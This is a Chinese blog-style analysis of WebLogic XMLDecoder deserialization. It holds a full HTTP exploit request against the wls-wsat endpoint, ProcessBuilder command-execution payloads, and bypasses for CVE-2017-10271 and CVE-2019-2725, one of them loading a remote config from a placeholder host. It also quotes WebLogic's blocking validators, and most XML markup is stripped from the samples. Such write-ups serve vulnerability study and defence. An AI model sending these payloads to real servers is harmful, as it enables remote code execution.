weblogic XMLDecoder反序列化

XMLDecoder和XMLEncoder

java中对对象的序列化和反序列化有多种实现方式,比如原生的使用ObjectOuptutStream/ObjectInputStream来实现序列化和反序列化,还有使用fastjson来进行对象的序列/反序列化,还有使用XStream等,这里的XMLEncoder/XMLDecoder也是java提供的一种序列化和反序列化的方式

XMLEncoder/XMLDecoder

定义一个java bean,这个java bean的构造方法是一个无参构造方法

package poc.xmlserilize;

import java.io.Serializable;
import java.util.Vector;

public class MyBean {
    private boolean myBoolean;
    private String myString;
    private Vector myVector;

    public MyBean() {
    }
    public boolean isMyBoolean() {
        return myBoolean;
    }
    public void setMyBoolean(boolean myBoolean) {
        this.myBoolean = myBoolean;
    }
    public String getMyString() {
        return myString;
    }
    public void setMyString(String myString) {
        this.myString = myString;
    }
    public Vector getMyVector() {
        return myVector;
    }
    public void setMyVector(Vector myVector) {
        this.myVector = myVector;
    }
    public void sayHello(String name){
        System.out.println("this is " + name);
    }
}

接下来用XMLEncoder来序列化这个java bean

package poc.xmlserilize;

import java.beans.XMLDecoder;
import java.beans.XMLEncoder;
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.util.HashMap;
import java.util.Vector;

public class XMLEncodeF {
    public static void main(String[] args) throws Exception{
        MyBean mb = new MyBean();
        mb.setMyBoolean(true);
        mb.setMyString("xml is cool");
        Vector v = new Vector();
        v.add("one");
        v.add("two");
        v.add("three");
        mb.setMyVector(v);

        FileOutputStream fos = new FileOutputStream("mybean.xml");
        BufferedOutputStream bos = new BufferedOutputStream(fos);
        XMLEncoder xmlEncoder = new XMLEncoder(bos);
        xmlEncoder.writeObject(mb);
        xmlEncoder.close();


//        XMLDecoder xmlDecoder = new XMLDecoder(new BufferedInputStream(new FileInputStream("mybean.xml")));
//        MyBean bean = (MyBean)xmlDecoder.readObject();
//        xmlDecoder.close();

    }
}

看一下生成的xml对象



 
  
   true
  
  
   xml is cool
  
  
   
    
     one
    
    
     two
    
    
     three
    
   
  
 

我们现在清楚了xml对象生成的方法,我们根据文档中的一个xml对象例子来进行分析


 
 
   
     frame1
   
   
     
       0
       0
       200
       200
     
   
   
     
       
         
           Hello
         
       
     
   
   
     true
   
 
 

关于XMLEncoder和XMLDecoder有文档介绍:https://docs.oracle.com/javase/7/docs/api/java/beans/XMLEncoder.html

其中很关键的一部分


image.png

这里对标签的作用有一定的介绍,但是是英文,感觉还是不是很好理解,我们可以稍微看一下这里的介绍,明确一下标签的作用,然后通过例子自己分析一下文档结构

  1. 每一个标签都相当于一个方法调用
  2. object标签,代表一个表达式,它的值被用作围绕的标签的参数

来看上面的


       
         
           Hello
         
       
     

object相当于是一个表达式,object标签的结果被作为add这个方法的参数被传入,相当于add(JButton xxx)

  1. void标签,代表一个声明,比如变量的声明,方法调用的声明,它的值不被认为是围绕标签的参数

来看这一段


     frame1
   

void标签代表一个声明,这里就是一个变量的声明,property用来表示变量名,void里面的标签用来表示变量的值,这里是一个string类型的变量

  1. 除了void标签,其他任何标签都被认为是围绕标签的参数

举个例子


  test

因为这里的test不是void标签,所以test被作为MyBean构造函数的参数传入

  1. 方法可以通过method属性来进行说明,比如上面的

       
         
           Hello
         
       
     
  1. xml标准的id和idref用来引用上面已经定义的一个对象
  2. class属性用来明确的指出一个类的静态方法或者构造方法,为类的全限定名
  3. void如果没有指定class的话使用上下文的环境
  4. string类型可以直接使用test来表示

这就是最关键的几个标签了,用这几个标签可以完整的描述一个类,但是java为了方便,也提供了如等数据类型的标签,在文档的下面则是介绍更加细节的一些东西以及一些约定

XML反序列化很有意思的一点就是我们可以自己去指定任意一个方法去执行,而且这个类完全可以不用实现Serializable接口,我们尝试自己构造一个ProcessBuilder对象



 
  
   
    /bin/bash
   
   
    -c
   
   
    touch /tmp/blog
   
  
  
  
 

反序列化:

XMLDecoder xmlDecoder = new XMLDecoder(new BufferedInputStream(new FileInputStream("mybean.xml")));
MyBean bean = (MyBean)xmlDecoder.readObject();
xmlDecoder.close();

通过XMLDecoder反序列化成功执行命令


image.png

可以看到XMLDecoder反序列化,根本不需要调用链,因为它本身可以反序列化一个类,并且可以调用任意方法,我们来稍微分析一下ProccessBuilder的构造

首先是用object标签声明了一个ProcessBuilder的对象,然后里面的array标签作为ProcessBuilder的构造函数的参数传入,而最后的void标签指定了调用的方法为start,并且start方法并没有参数可以传入,所以里面没有其他的元素了

和我们平常调用ProcessBuilder一致:


image.png

小结

所以在挖掘XMLDecoder反序列化的时候,只要在构造XMLDecoder对象的时候传入的InputStream我们可控,而且在XMLDecoder之后调用了readObject方法,就可以证明有反序列化漏洞

weblogic xmldecoder反序列化

先来个exp:

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.0.100:7001
Content-Length: 849
Pragma: no-cache
Cache-Control: no-cache
Origin: http://192.168.0.100:7001
Upgrade-Insecure-Requests: 1
Content-Type: text/xml
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.0.100:7001/wls-wsat/CoordinatorPortType
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: cnva_2132_saltkey=DVnLKAq2; cnva_2132_lastvisit=1580888977; cnva_2132_sid=Phr4h5; cnva_2132_lastact=1580894593%09search.php%09forum
Connection: close



  
   
      
       
         
           
             
              /bin/bash 
              
             
              -c 
              
             
              touch /tmp/webaklsdjfkla 
             
            
          
         
       
     
    
   

image.png

成功执行命令:


image.png

把weblogic调试环境搭建好,最终出问题的地方是在WorkContextXmlInputAdapter这个类中的readUTF方法中

image.png

可以看到,这里调用了XMLDecoder的readObject方法,所以只要构造XMLDecoder的时候输入流我们可控,就可以造成xml反序列化漏洞

把断点下在readUTF上,可以看到整个的调用链:


image.png

weblogic的函数调用十分深,一步步跟太复杂,对传入soap协议进行解析的地方是在processRequest这个函数中,我们从这里跟起

image.png

这里传入了Packet对象,其实就是我们POST传入的soap协议


image.png

通过这两个函数获取了soap协议头的值


image.png

这里对头部还有一个匹配的操作,必须有一些特定的属性和字段


image.png

这就是为什么soap头要添加几个字段和属性


image.png

接下来我们获取到了soap的头部,之后进入到readHeaderOld,在这里对soap的头部进行了去除,拿出了包裹的xml对象


image.png

接下来对WorkContextXmlInputAdapter的实例化,这里实例化了XMLDecoder并且可以看出来,传入的输入流正是我们可控的xml对象

image.png

这个时候,我们只要找到调用XMLDecoder.readObject的地方就可以了,从这里的WorkContextXmlInputAdapter可以猜测这个类是一个拦截器,我们一致跟着var1这个变量,看它在什么时候调用了自己的方法,一致跟到readEntry这个方法,这个变量调用了readUTF方法

image.png

最后成功在readUTF中触发反序列化

weblogic的修复和绕过

第一次拦截

private void validate(InputStream is) {
      WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
      try {
         SAXParser parser = factory.newSAXParser();
         parser.parse(is, new DefaultHandler() {
            public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
               if(qName.equalsIgnoreCase("object")) {
                  throw new IllegalStateException("Invalid context type: object");
               }
            }
         });
      } catch (ParserConfigurationException var5) {
         throw new IllegalStateException("Parser Exception", var5);
      } catch (SAXException var6) {
         throw new IllegalStateException("Parser Exception", var6);
      } catch (IOException var7) {
         throw new IllegalStateException("Parser Exception", var7);
      }
   }

防御非常简单,如果开始的标签为object标签直接抛出异常推出

CVE-2017-10271

前面说过了,在文档中也提到,可以不用object标签来代表一个对象,void标签同样可以,也就是CVE-2017-10271的绕过方法:

 
   
     
       
        calc 
       
      
    
   

第二次拦截

private void validate(InputStream is) {
   WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
   try {
      SAXParser parser = factory.newSAXParser();
      parser.parse(is, new DefaultHandler() {
         private int overallarraylength = 0;
         public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
            if(qName.equalsIgnoreCase("object")) {
               throw new IllegalStateException("Invalid element qName:object");
            } else if(qName.equalsIgnoreCase("new")) {
               throw new IllegalStateException("Invalid element qName:new");
            } else if(qName.equalsIgnoreCase("method")) {
               throw new IllegalStateException("Invalid element qName:method");
            } else {
               if(qName.equalsIgnoreCase("void")) {
                  for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
                     if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
                        throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
                     }
                  }
               }
               if(qName.equalsIgnoreCase("array")) {
                  String var9 = attributes.getValue("class");
                  if(var9 != null && !var9.equalsIgnoreCase("byte")) {
                     throw new IllegalStateException("The value of class attribute is not valid for array element.");
                  }

CVE-2019-2725

 
   
    com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext  
     
      http://xxxx 
     
   

文档也提到了class标签


image.png

但是没有很详细的说明,CVE-2019-2725就是基于class标签的绕过

因为之前限制了不能有method属性,所以不能直接执行方法了,所以只能找类的构造方法中有反序列化的地方

你可能感兴趣的:(weblogic XMLDecoder反序列化)